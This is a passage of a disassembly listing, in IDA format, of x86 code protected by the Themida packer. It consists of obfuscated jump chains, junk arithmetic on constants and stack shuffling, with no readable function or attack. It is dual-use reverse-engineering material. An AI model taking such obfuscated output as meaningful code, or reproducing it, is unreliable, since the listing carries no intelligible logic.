		sub	ebp, 70B31AB0h
		jmp	loc_5A1A2B

; =============== S U B	R O U T	I N E =======================================



sub_5A02EA	proc near		; CODE XREF: sub_599059+112E7j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

; FUNCTION CHUNK AT 00597F63 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 00598ADD SIZE 00000006 BYTES
; FUNCTION CHUNK AT 00599921 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059AC2F SIZE 00000011 BYTES
; FUNCTION CHUNK AT 0059B293 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0059C84E SIZE 0000001A BYTES
; FUNCTION CHUNK AT 005A10C8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A26FD SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005A77E0 SIZE 00000022 BYTES
; FUNCTION CHUNK AT 005A7D9D SIZE 00000016 BYTES
; FUNCTION CHUNK AT 005AB005 SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005AE163 SIZE 00000019 BYTES
; FUNCTION CHUNK AT 005AE31C SIZE 0000001B BYTES

		sub	esp, 4
		jmp	loc_59B293
sub_5A02EA	endp


; =============== S U B	R O U T	I N E =======================================



sub_5A02F5	proc near		; CODE XREF: sub_5A1199+6231j

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059B250 SIZE 00000038 BYTES
; FUNCTION CHUNK AT 0059F6FA SIZE 00000018 BYTES
; FUNCTION CHUNK AT 005A3BF9 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005AA852 SIZE 00000011 BYTES
; FUNCTION CHUNK AT 005AC580 SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 0B9500C8h
		mov	edx, ebx
		pop	ebx
		jmp	loc_5A3BF9
sub_5A02F5	endp ; sp-analysis failed

; ---------------------------------------------------------------------------


loc_5A0303:				; CODE XREF: Themida_:0059C324j
		shr	ebp, 7
		xor	ebp, 0B2551ECBh
		jmp	loc_5ACE52
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB98B


loc_5A0311:				; CODE XREF: sub_5AB98B-E23Cj
		mov	ah, ch
		pop	ecx
		jmp	sub_5A799C
; END OF FUNCTION CHUNK	FOR sub_5AB98B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A0F44


loc_5A0319:				; CODE XREF: sub_5A0F44+5CBFj
		pop	ecx
		mov	ebp, 5F6A46B7h
		xor	ebp, ebx
		pop	ebx
		jmp	loc_59EC6E
; END OF FUNCTION CHUNK	FOR sub_5A0F44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59DBFF


loc_5A0327:				; CODE XREF: sub_59DBFF+5704j
		pop	edx
		jmp	loc_59EC9A
; END OF FUNCTION CHUNK	FOR sub_59DBFF
; ---------------------------------------------------------------------------


loc_5A032D:				; CODE XREF: Themida_:0059EA98j
		inc	esi
		sub	esp, 4
		mov	[esp], edi
		jmp	loc_5AB691
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A0339:				; CODE XREF: sub_597F0C+8180j
		mov	[esp+18h+var_18], eax
		sub	esp, 4
		mov	[esp+1Ch+var_1C], ecx
		jmp	loc_5AECC4
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5987D8


loc_5A034A:				; CODE XREF: sub_5987D8+8F1j
		push	edx
		mov	edx, 42476E10h
		add	eax, edx
		pop	edx
		sub	eax, 1A1F7BCDh
		add	eax, ebp
		add	eax, 1A1F7BCDh
		push	edx
		mov	edx, 42476E10h
		jmp	loc_59BC60
; END OF FUNCTION CHUNK	FOR sub_5987D8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5A036A:				; CODE XREF: sub_5A91EC-D7C3j
		pop	esi
		add	ebx, 74805F51h
		add	ebx, edi
		sub	ebx, 74805F51h
		push	dword ptr [ebx]
		jmp	loc_59B473
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------


loc_5A0380:				; CODE XREF: Themida_:0059DBEFj
		push	edx
		push	4F741881h
		mov	edx, [esp]
		add	esp, 4
		add	edx, 2ADC413Ah
		jns	loc_59D3DA
		sub	edx, 46124C2Ah
		mov	ebx, edx
		pop	edx
		shl	ebx, 7
		pop	ebx


loc_5A03A5:				; CODE XREF: Themida_:0059900Dj
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, esp
		jmp	loc_59C58F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A03B5:				; CODE XREF: sub_59A932:loc_5AAFA7j
		sub	ebp, 928D2FB7h
		sub	[esp-8+arg_8], 4B3B09E3h
		add	[esp-8+arg_8], ebp
		add	[esp-8+arg_8], 4B3B09E3h
		jmp	loc_59D7C2
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_597F0C


loc_5A03D4:				; CODE XREF: sub_597F0C+A58Fj
		add	ecx, esi
		pop	esi
		sub	ecx, 4
		push	ecx
		push	[esp+1Ch+var_18]
		pop	ecx
		pop	[esp+1Ch+var_1C]
		mov	esp, [esp+18h+var_18]
		mov	[esp+18h+var_18], ecx
		push	[esp+18h+var_14]
		mov	ecx, [esp+1Ch+var_1C]
		add	esp, 4
		pop	[esp+18h+var_18]
		jmp	loc_5AAFC3
; END OF FUNCTION CHUNK	FOR sub_597F0C
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C342


loc_5A03FE:				; CODE XREF: sub_59C342+E019j
					; Themida_:005AE3BDj
		neg	esi
		xor	esi, 0BBD6E880h
		jmp	loc_5A78B8
; END OF FUNCTION CHUNK	FOR sub_59C342
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB3DC


loc_5A040B:				; CODE XREF: sub_5AB3DC-E036j
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp-8+arg_4]
		mov	esp, [esp-8+arg_4]
		add	ecx, edi
		pop	edi
		jmp	loc_5A1DE6
; END OF FUNCTION CHUNK	FOR sub_5AB3DC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A393F


loc_5A0424:				; CODE XREF: sub_5A393F+9CC4j
		mov	ebp, [esp+0]
		add	esp, 4
		jmp	loc_5ADF8E
; END OF FUNCTION CHUNK	FOR sub_5A393F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A042F:				; CODE XREF: sub_599059+40ABj
		mov	edi, edx
		pop	edx
		inc	edi
		jmp	loc_59BDE0
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_5AC1FF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_5A0443:				; CODE XREF: sub_598D16+15F63j
		neg	ebx
		or	ebx, 79EA1414h
		jmp	loc_5A16B1
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5ABF4A


loc_5A0450:				; CODE XREF: sub_5ABF4A-B46Fj
		mov	[esp-8+arg_4], esp
		add	[esp-8+arg_4], 4
		jmp	loc_59C633
; END OF FUNCTION CHUNK	FOR sub_5ABF4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A045F:				; CODE XREF: sub_59CA4A+7018j
		xchg	ecx, [esp+0]
		pop	esp
		jmp	sub_59CC75
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5A0468:				; CODE XREF: sub_5A17D6+93F7j
		mov	ebp, 4B8869DBh
		add	eax, ebp
		pop	ebp
		jmp	loc_5A0C24
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A0475:				; CODE XREF: sub_599059+1593Fj
		sub	bl, al
		sub	bl, 22h
		pop	eax
		sub	bl, cl
		jmp	loc_59CF4F
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------


loc_5A0482:				; CODE XREF: Themida_:005A3A51j
		sub	ebx, 7CAF1576h
		add	ebx, 774821DDh
		push	eax
		mov	eax, 0FDA44E6h
		jmp	loc_5A88D7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59CA4A


loc_5A0499:				; CODE XREF: sub_59CA4A+924j
		sub	esi, 2B590029h
		sub	esi, 68F7687Dh
		add	esi, ebx
		add	esi, 68F7687Dh
		jmp	loc_59A844
; END OF FUNCTION CHUNK	FOR sub_59CA4A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A3F42


loc_5A04B2:				; CODE XREF: sub_5A3F42-B647j
					; sub_5A8F56+3329j
		xor	ebx, edx
		pop	edx
		add	ebx, 6147AF4Eh
		mov	ebp, ebx
		jmp	loc_59F5E6
; END OF FUNCTION CHUNK	FOR sub_5A3F42

; =============== S U B	R O U T	I N E =======================================



sub_5A04C2	proc near		; CODE XREF: sub_5A80D3-ABD2j

var_4		= dword	ptr -4
arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 0059E7DF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059F4AF SIZE 00000008 BYTES
; FUNCTION CHUNK AT 005A57E8 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 005A8E13 SIZE 00000032 BYTES

		sub	esp, 4
		mov	[esp+4+var_4], ebx
		xor	[esp+4+var_4], 370413Ah
		pop	eax
		xor	eax, 370413Ah
		mov	ebx, [esp+0]
		add	esp, 4
		add	edi, eax
		jmp	loc_59F4AF
sub_5A04C2	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE919


loc_5A04E5:				; CODE XREF: sub_5AE919-93D9j
		or	eax, eax
		jz	loc_59C476
		push	dword ptr [edi+1Ch]
		push	3C19h
		mov	[esp+4+var_4], ebx
		jmp	sub_597C68
; END OF FUNCTION CHUNK	FOR sub_5AE919
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AB72D


loc_5A04FD:				; CODE XREF: sub_5AB72D+EF2j
		pop	esp
		shr	[esp-4+arg_0], cl
		pushf
		jmp	loc_597B5F
; END OF FUNCTION CHUNK	FOR sub_5AB72D
; ---------------------------------------------------------------------------
		mov	ax, [esp]
		push	2F80h
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		jmp	loc_5A93A4
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A0527:				; CODE XREF: sub_5AEE2E:loc_5A4184j
		push	edx
		mov	edx, 28124AC3h
		jmp	loc_5A8A9E
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AAA81


loc_5A0532:				; CODE XREF: sub_5AAA81-6616j
		push	esi
		mov	esi, 6F735842h
		add	eax, esi
		pop	esi
		add	eax, edx
		jmp	loc_5AECFA
; END OF FUNCTION CHUNK	FOR sub_5AAA81

; =============== S U B	R O U T	I N E =======================================



sub_5A0542	proc near		; CODE XREF: sub_59EE57+274Fj

; FUNCTION CHUNK AT 00599CC8 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005A272D SIZE 00000008 BYTES

		push	ebx
		mov	ebx, 1640FABh
		dec	ebx
		shr	ebx, 4
		add	ebx, 7E7530CFh
		not	ebx
		jmp	loc_599CC8
sub_5A0542	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE0B5


loc_5A0559:				; CODE XREF: sub_5AE0B5-137F9j
		add	[esp+8+var_8], 4
		push	[esp+8+var_8]
		pop	ebp
		add	esp, 4
		push	ebx
		mov	ebx, 70B23ECBh
		sub	ebx, 0FFFFFFFFh
		push	ebp
		mov	ebp, 37A839A0h
		jmp	loc_5AE3DA
; END OF FUNCTION CHUNK	FOR sub_5AE0B5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59A932


loc_5A057E:				; CODE XREF: sub_5AB72D-7871j
					; sub_59A932+9BA3j
		pop	esi
		jmp	loc_5AB165
; END OF FUNCTION CHUNK	FOR sub_59A932
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B923


loc_5A0584:				; CODE XREF: sub_59B923+9F3Ej
		add	ecx, ebp
		jmp	loc_5A39FD
; END OF FUNCTION CHUNK	FOR sub_59B923
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AE49


loc_5A058B:				; CODE XREF: sub_59AE49+FF16j
		mov	esi, 4F6F59F5h
		add	esi, 4FE2300Ch
		shr	esi, 7
		push	ecx
		mov	ecx, 0EA1A3E1Bh
		sub	esi, ecx
		mov	ecx, [esp+4+var_4]
		add	esp, 4
		sub	ebx, esi
		pop	esi
		add	ebx, 3E8E07CAh
		jmp	loc_598A2F
; END OF FUNCTION CHUNK	FOR sub_59AE49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A05B5:				; CODE XREF: sub_59AE49+A9E9j
					; sub_5AE6FD-526Ej
		mov	esi, [esp+0]
		add	esp, 4
		add	ebp, 45BF3DF8h
		add	ebp, eax
		sub	esp, 4
		mov	[esp+0], eax
		mov	eax, 45BF3DF8h
		jmp	loc_5A75EE
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AEE2E


loc_5A05D6:				; CODE XREF: sub_5AEE2E-5DD1j
		push	esp
		pop	eax
		jmp	loc_59A4B8
; END OF FUNCTION CHUNK	FOR sub_5AEE2E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F56


loc_5A05DD:				; CODE XREF: sub_5A8F56+E37j
		push	11ADh
		mov	[esp+10h+var_10], ebp
		push	ebx
		jmp	loc_59AD7D
; END OF FUNCTION CHUNK	FOR sub_5A8F56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B707


loc_5A05EB:				; CODE XREF: sub_59B707-2E2Ej
		mov	edi, 4
		add	esi, 30F341F4h
		jmp	loc_598EE1
; END OF FUNCTION CHUNK	FOR sub_59B707

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_5A05FB	proc near		; CODE XREF: sub_599059+15335j

var_4		= dword	ptr -4

		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp+0]
		xor	[esp+0], ebp
		xor	ebp, [esp+0]
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	sub_5A7C98
		sub	esp, 4
		mov	[esp+0], eax
		push	esp
		mov	eax, [esp+4+var_4]
		jmp	sub_5A98EB
sub_5A05FB	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8F00


loc_5A062E:				; CODE XREF: sub_5A8F00-52B9j
		add	ebp, 330D32D2h
		jo	loc_5AB3CA
		or	ebp, 28161D36h
		js	loc_5A3CB9
		push	edx
		jmp	loc_5A9C58
; END OF FUNCTION CHUNK	FOR sub_5A8F00
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59B333


loc_5A064C:				; CODE XREF: sub_59B333+469Dj
		add	ebx, 0AA03EB6h
		xor	ebp, ebx
		pop	ebx
		sub	eax, 0D304011h
		add	eax, ebp
		add	eax, 0D304011h
		jmp	loc_5A13DC
; END OF FUNCTION CHUNK	FOR sub_59B333
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91EC


loc_5A0666:				; CODE XREF: sub_5A91EC-DD68j
		push	esi
		jmp	loc_5AE6BA
; END OF FUNCTION CHUNK	FOR sub_5A91EC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_599059


loc_5A066C:				; CODE XREF: sub_599059-85Bj
		mov	[esp+0], edx
		mov	edx, 790C5430h
		not	edx
		add	edx, 72076DAh
		push	5268h
		mov	[esp+4+var_4], eax
		mov	eax, 0ADB020B3h
		jmp	loc_5A9F84
; END OF FUNCTION CHUNK	FOR sub_599059
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A068E:				; CODE XREF: sub_5AC95F-132E9j
		push	edx
		jmp	loc_59BFB0
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A0694:				; CODE XREF: Themida_:005A0AD1j
		pop	esi
		jmp	loc_5A5B49
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1076


loc_5A069A:				; CODE XREF: sub_5A1076+81Cj
		add	eax, 215E0B9Eh
		push	edx
		mov	edx, 37490F6Eh
		jmp	loc_5AAF98
; END OF FUNCTION CHUNK	FOR sub_5A1076
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A70C2


loc_5A06AA:				; CODE XREF: sub_5A70C2+1C33j
		pop	ecx
		jmp	loc_5A88F9
; END OF FUNCTION CHUNK	FOR sub_5A70C2
; ---------------------------------------------------------------------------


loc_5A06B0:				; CODE XREF: Themida_:0059E58Bj
		add	ebp, edi
		jmp	loc_598E62
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A17D6


loc_5A06B7:				; CODE XREF: sub_5A17D6-7B93j
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		sub	esp, 4
		mov	[esp+10h+var_10], ebx
		push	[esp+10h+var_C]
		mov	ebx, [esp+14h+var_14]
		jmp	loc_59ACB5
; END OF FUNCTION CHUNK	FOR sub_5A17D6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AE6FD


loc_5A06D9:				; CODE XREF: sub_5AE6FD-11EBFj
		jno	loc_5A8187
		jmp	loc_5A948D
; END OF FUNCTION CHUNK	FOR sub_5AE6FD
; ---------------------------------------------------------------------------
		push	dword ptr [esp+4]
		pop	ecx
		mov	dl, 24h
; START	OF FUNCTION CHUNK FOR sub_5AB88E


loc_5A06EB:				; CODE XREF: sub_5AB88E-895Dj
		mov	[esp+0Ch+var_C], edx
		mov	edx, 635324E8h
		and	edx, 7C77AF5h
		shl	edx, 3
		not	edx
		jmp	loc_5A87DC
; ---------------------------------------------------------------------------


loc_5A0703:				; CODE XREF: sub_5AB88E-B9E1j
		sub	edx, ecx
		mov	ecx, [esp+8+var_8]
		add	esp, 4
		xchg	edx, [esp+4+var_4]
		pop	esp
		mov	[esp+0], ebx
		push	esp
		mov	ebx, [esp+4+var_4]
		add	esp, 4
		jmp	loc_5A740D
; END OF FUNCTION CHUNK	FOR sub_5AB88E
; ---------------------------------------------------------------------------


loc_5A0721:				; CODE XREF: Themida_:00599B69j
		sub	edx, ebx
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], edi
		push	eax
		mov	eax, 0EB175C2h
		mov	edi, eax
		pop	eax
		not	edi
		shl	edi, 4
		and	edi, 2F85005Eh
		neg	edi
		shl	edi, 6
		jnz	loc_5AEA7D
		add	edi, 761065ABh
		push	edi
		mov	ebp, edi
		xor	al, 0D7h
		push	small word ptr [edx]
		jmp	loc_5A4048
; ---------------------------------------------------------------------------


loc_5A0764:				; CODE XREF: Themida_:0059AD15j
		dec	ecx
		jmp	loc_59BCEB
; ---------------------------------------------------------------------------
		pop	esp
		push	ebx
		push	dword ptr [esp+4]
		jmp	loc_5ACADC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A0775:				; CODE XREF: sub_5AC95F-56F3j
					; sub_5A141E+D74Dj
		push	6F65h
		mov	[esp+10h+var_10], ebx
		push	3FF9h
		mov	[esp+14h+var_14], edx
		jmp	loc_5ADF51
; ---------------------------------------------------------------------------


loc_5A078A:				; CODE XREF: sub_5AC95F-28F7j
		pop	edi
		push	eax
		mov	eax, 3EB62EEDh
		jmp	loc_5A4709
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A1B2A


loc_5A0796:				; CODE XREF: sub_5A1B2A+5FFAj
		mov	edx, 1B545C62h
		xor	edx, 64297AE6h
		push	edi
		mov	edi, 7C6C4CC7h
		add	edi, 53630F08h
		jno	loc_5A8030
		neg	edi
		add	edi, 15255526h
		and	edi, 68306347h
		jle	loc_5A6412
		inc	edi
		jo	loc_59EEBA
		sub	edi, 4121379h
		jmp	loc_5A391A
; END OF FUNCTION CHUNK	FOR sub_5A1B2A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A9B76


loc_5A07D9:				; CODE XREF: sub_5A9B76-D2BAj
		xchg	eax, [esp-4+arg_0]
		pop	esp
		pop	ebx
		and	eax, ecx
		jmp	loc_5AA3C8
; END OF FUNCTION CHUNK	FOR sub_5A9B76
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59EB21


loc_5A07E5:				; CODE XREF: sub_59EB21+C472j
		xchg	ecx, [esp-4+arg_0]
		pop	esp
		mov	[esp-8+arg_4], ebx
		jmp	loc_5AE0AD
; END OF FUNCTION CHUNK	FOR sub_59EB21
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A07F1:				; CODE XREF: sub_5AC95F-67CBj
		mov	[esp+14h+var_14], eax
		jmp	loc_59A2EC
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A4F3D


loc_5A07F9:				; CODE XREF: sub_5A4F3D+9FD3j
		shr	ecx, 4
		push	esi
		push	5DE8h
		mov	[esp+0], ebp
		mov	ebp, 0A71D9CDFh
		mov	esi, ebp
		pop	ebp
		sub	ecx, esi
		pop	esi
		xor	eax, ecx
		jmp	loc_5AE9C9
; END OF FUNCTION CHUNK	FOR sub_5A4F3D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A91CF


loc_5A0817:				; CODE XREF: sub_5A91CF+4443j
		add	eax, 4
		jmp	loc_5A4D2B
; END OF FUNCTION CHUNK	FOR sub_5A91CF
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A7343


loc_5A0821:				; CODE XREF: Themida_:0059990Dj
					; sub_5A7343+5DAAj
		sub	eax, 2
		xchg	eax, [esp+4+var_4]
		pop	esp
		mov	[esp+0], dx
		mov	dh, 3Eh
		sub	al, dh
		mov	dx, [esp+0]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 2
		xchg	esi, [esp+4+var_4]
		pop	esp
		push	edx
		push	6170h
		mov	[esp+8+var_8], ecx
		mov	ch, 0FDh
		mov	dl, ch
		pop	ecx
		push	bx
		mov	bh, 0FFh
		sub	dl, 31h
		sub	dl, bh
		add	dl, 31h
		jmp	loc_59CEBC
; END OF FUNCTION CHUNK	FOR sub_5A7343
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		jmp	loc_5AD118
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A28BE


loc_5A086E:				; CODE XREF: sub_5A28BE-8AD5j
		pop	esi
		add	esi, 2D322D78h
		shr	esi, 4
		add	esi, 6DC0661Eh
		jnz	loc_5992CA
		or	esi, 56B93B6Eh
		jg	loc_5A35C9
		mov	al, dl
; END OF FUNCTION CHUNK	FOR sub_5A28BE
; START	OF FUNCTION CHUNK FOR sub_59D99C


loc_5A0892:				; CODE XREF: sub_59D99C+EC8j
		push	eax
		mov	eax, esp
		jmp	loc_5AD1D3
; END OF FUNCTION CHUNK	FOR sub_59D99C
; ---------------------------------------------------------------------------


loc_5A089A:				; CODE XREF: Themida_:0059BA7Aj
		push	49561F10h
		pop	eax
		dec	eax
		shl	eax, 6
		and	eax, 47A00F1Fh
		jnz	loc_5A3C79
		xor	eax, 45800304h
		mov	edi, eax
		pop	eax
		add	ebp, edi
		jmp	loc_5AA271
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC402


loc_5A08BE:				; CODE XREF: sub_5AC402-5C71j
		xor	ebx, 0BF3F6177h
		add	ebp, ebx
		pop	ebx
		sub	ebx, ebp
		pop	ebp
		pop	edi
		add	ebx, 2
		push	ebx
		push	[esp-0Eh+arg_E]
		pop	ebx
		pop	[esp-0Eh+arg_A]
		mov	esp, [esp-12h+arg_E]
		mov	ax, word ptr [esp-12h+arg_E]
		jmp	sub_59D151
; END OF FUNCTION CHUNK	FOR sub_5AC402
; ---------------------------------------------------------------------------


loc_5A08E6:				; CODE XREF: Themida_:0059DA46j
		mov	[esp], esp
		push	2B5Bh
		mov	[esp], ebx
		mov	ebx, 4
		sub	esp, 4
		jmp	loc_5A46ED
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A0901:				; CODE XREF: sub_5AC95F-2EEj
		mov	edx, edi
		pop	edi
		push	[esp+10h+var_10]
		pop	ebx
		add	esp, 4
		add	ecx, edx
		pop	edx
		push	2337h
		mov	[esp+0Ch+var_C], ebp
		push	4
		jmp	loc_5A39A3
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C342


loc_5A0923:				; CODE XREF: sub_59C342+F165j
		pop	ecx
		sub	ebx, ebp
		add	ebx, 5F0E6748h
		pop	ebp
		add	ebx, edx
		push	eax
		mov	eax, 7CE23043h
		jmp	loc_599EDB
; END OF FUNCTION CHUNK	FOR sub_59C342
; ---------------------------------------------------------------------------


loc_5A093A:				; CODE XREF: Themida_:005A1DABj
		pop	esp
		mov	ax, [esp]
		push	eax
		push	esp
		jmp	loc_5A8760
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A0946:				; CODE XREF: sub_5AC95F-13B78j
		xchg	ebp, [esp+0]
		pop	esp
		xor	ebx, 683BE0E7h
		add	eax, ebx
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		push	5BBFh
		jmp	loc_5A4371
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------


loc_5A0965:				; CODE XREF: Themida_:005A79E0j
		add	cl, 6Ch
		jmp	loc_5A5AB5
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59C683


loc_5A096D:				; CODE XREF: sub_59C683+CB75j
		mov	[esp+0Ch+var_C], ecx
		mov	ecx, 54AF44BEh
		shl	ecx, 7
		sub	ecx, 1
		jmp	loc_5A6CC3
; END OF FUNCTION CHUNK	FOR sub_59C683
; ---------------------------------------------------------------------------


loc_5A0980:				; CODE XREF: Themida_:0059F8F3j
		and	ecx, 10460F3Eh
		and	ecx, 34561695h
		not	ecx
		push	edi
		mov	edi, 0D560A817h
		sub	ecx, edi
		jmp	loc_59C78B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A099B:				; CODE XREF: sub_5AC95F-BBFAj
		mov	ebp, ebx
		mov	ebx, [esp-4+arg_0]
		add	esp, 4
		not	ebp
		sub	ebp, 0D0A6B3B9h
		jmp	loc_5AB9CB
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5A8E6E


loc_5A09B3:				; CODE XREF: sub_5A8E6E-F395j
		push	68DDh
		mov	[esp+4+var_4], eax
		push	esp
		pop	eax
		jmp	sub_5A1C1D
; END OF FUNCTION CHUNK	FOR sub_5A8E6E
; ---------------------------------------------------------------------------


loc_5A09C2:				; CODE XREF: Themida_:005A4BE7j
		pop	eax
		push	eax
		mov	al, ch
		jmp	loc_5A8349
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_5AC95F


loc_5A09CB:				; CODE XREF: sub_5AC95F-1272Bj
		sub	ecx, 509D52B3h
		add	ecx, edx
		add	ecx, 509D52B3h
		pop	edx
		push	edx
		push	ebx
		push	1E6E6FC0h
		jmp	loc_59BDBE
; END OF FUNCTION CHUNK	FOR sub_5AC95F
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_598D16


loc_5A09E6:				; CODE XREF: sub_598D16+99E2j
		inc	edi
		or	edi, 16B63661h
		add	edi, 1
		sub	edi, 1
		xor	edi, 7F007428h
		xor	edi, 26DD1C2Fh
		sub	esi, edi
		mov	edi, [esp+14h+var_14]
		add	esp, 4
		jmp	loc_5999C8
; END OF FUNCTION CHUNK	FOR sub_598D16
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59BD3A


loc_5A0A0F:				; CODE XREF: sub_59BD3A-3BC1j
		add	eax, edi
		add	eax, 7D214583h
		add	[eax], esi
		pop	eax
		pop	esi


loc_5A0A1A:				; CODE XREF: sub_59AE49+81j
		push	979h
		jmp	loc_59A3D7
; END OF FUNCTION CHUNK	FOR sub_59BD3A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_59AE49


loc_5A0A24:				; CODE XREF: sub_59AE49+988Bj
		sub	ebp, 66004EF4h
		jno	loc_59C773
		push	ecx
		mov	ecx, 0C47AD578h
		xor	ebp, ecx
		mov	ecx, [esp+0]
		add	esp, 4
		push	esp
